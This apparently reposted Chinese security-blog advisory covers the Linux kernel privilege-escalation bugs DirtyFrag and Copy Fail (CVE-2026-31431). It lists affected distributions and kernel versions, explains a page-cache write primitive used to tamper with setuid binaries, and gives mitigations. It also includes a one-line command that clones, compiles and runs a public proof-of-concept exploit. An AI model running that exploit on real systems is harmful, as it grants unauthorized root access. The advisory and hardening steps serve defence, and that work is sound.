文章总结: 文档披露Linux内核提权漏洞DirtyFrag与CopyFail(CVE-2026-31431),两者均属确定性逻辑漏洞且无需竞态条件即可稳定利用。DirtyFrag通过xfrm-ESP或RxRPC分支实现任意4字节写入,影响2017年以来近9年的内核版本;CopyFail允许篡改setuid程序获取root权限。受影响系统包括Ubuntu、RHEL等主流发行版,解决方案建议升级内核或通过禁用algif_aead模块临时加固。 综合评分: 85 文章分类: 漏洞分析,漏洞预警,解决方案,Linux安全,应急响应
影响巨大!Linux 提权大洞
HZ安全实验室
2026年5月8日 13:03 日本
在小说阅读器读本章
去阅读
影响巨大!Linux 提权大洞速速复现!!!暂无补丁
DirtyFrag 漏洞整理
一、漏洞归类与特性
Dirty Frag 与 脏管道(Dirty Pipe)、Copy Fail 属于同一系列漏洞大类。
- 属于确定性逻辑漏洞
- 不依赖时间竞争窗口、无需竞态条件
- 利用失败不会触发内核崩溃
- 整体利用成功率极高
二、POC 地址
https://github.com/V4bel/dirtyfrag
一键编译利用命令
git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
三、漏洞原理与利用原语
xfrm-ESP Page-Cache Write 提供强大的任意 4 字节 STORE 原语(同 Copy Fail 原理),该功能模块在大多数 Linux 发行版中默认内置。
两种触发分支差异
- xfrm-ESP 页缓存写入
- 依赖:需要非特权用户创建命名空间权限
- 限制:Ubuntu 常通过 AppArmor 策略拦截普通用户创建命名空间,此场景下该分支无法触发
- 影响范围:内核提交
cac2661c53f3(2017-01-17)起至今所有上游内核
- RxRPC 页缓存写入
- 依赖:无需创建命名空间特权
- 限制:多数发行版默认不内置
rxrpc.ko模块 - 优势:Ubuntu 默认加载 rxrpc.ko,天然满足利用条件
- 影响范围:内核提交
2dc334f1a63a(2023 年 6 月)起至今所有上游内核
小结:该漏洞整体影响周期长达约 9 年。
四、已实测可利用发行版(x86_64)
- Ubuntu 24.04.4:
6.17.0-23-generic - RHEL 10.1:
6.12.0-124.49.1.el10_1.x86_64 - openSUSE Tumbleweed:
7.0.2-1-default - CentOS Stream 10:
6.12.0-224.el10.x86_64 - AlmaLinux 10:
6.12.0-124.52.3.el10_1.x86_64 - Fedora 44:
6.19.14-300.fc44.x86_64
五、Ubuntu 环境关键限制
- AppArmor 会限制普通用户创建命名空间,导致xfrm-ESP 分支失效;
- Ubuntu 默认自带并加载
rxrpc.ko,RxRPC 分支是 Ubuntu 下主要利用路径; - 该 EXP 仅适配x86_64 架构,ARM64(Apple Silicon M 芯片虚拟机)天生不兼容,必段错误,和内核版本无关。
Copy Fail(CVE-2026-31431)Linux提权
Copy Fail 是一个 Linux 本地提权漏洞,攻击者需要先获得普通用户级代码执行权限,随后可能进一步提升到 root。
本环境模拟需要提权的场景,flag在根目录中,需要root权限才可查看。
漏洞原理:
该漏洞允许本地普通用户向任意可读文件的 page cache(页缓存) 中写入4个受控字节,从而篡改 setuid 程序(如 /usr/bin/su)获得 root 权限。其利用过程无需竞争条件,一个仅 732 字节的 Python 脚本就能在所有受影响系统上稳定提权。
影响范围十分广泛:
影响范围非常广泛,自 2017 年以来几乎所有主流 Linux 发行版的高危本地提权漏洞。
具体从内核版本看:4.14 ≤ 版本 < 修复版本 ,uname -r 自行检查
版本号 ≥ 4.14 且 < 6.18.22、6.19.12、7.0 等修复版本。
这里直接看复现过程: python3,版本要大于等于 3.1.3,否则python的某个函数有问题。
解决方案
1、升级内核,升级到不受影响版本
内核升级需要重启,生产主机操作要做好业务影响评估。
2、临时加固方案
禁用模块加载:
(1)创建配置文件,阻止 algif_aead 模块被加载
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
(2)卸载已加载的模块:
rmmod algif_aead
重要提醒:如果你的内核将 algif_aead 编译进内核(CONFIG_CRYPTO_USER_API_AEAD=y而非=m),那么上述缓解措施无效。
如何判断是否编译进内核,可以通过如下命令排查:
cat /boot/config-$(uname -r) | grep CONFIG_CRYPTO_USER_API_AEAD
如果CONFIG_CRYPTO_USER_API_AEAD =m 的情况下,缓解措施可以生效,如果=y,则该措施无效,只能升级内核。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:HZ安全实验室 《影响巨大!Linux 提权大洞》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论